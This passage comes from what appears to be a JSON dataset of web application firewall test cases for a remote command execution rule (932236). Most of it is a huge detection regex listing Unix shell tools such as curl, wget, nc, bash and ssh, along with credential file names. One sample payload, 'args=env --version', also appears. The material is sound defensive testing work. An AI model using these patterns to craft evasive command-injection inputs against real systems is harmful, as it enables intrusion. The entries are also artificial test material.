(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#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ty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&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0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "FP with word performance" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "args=env --version" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&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x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b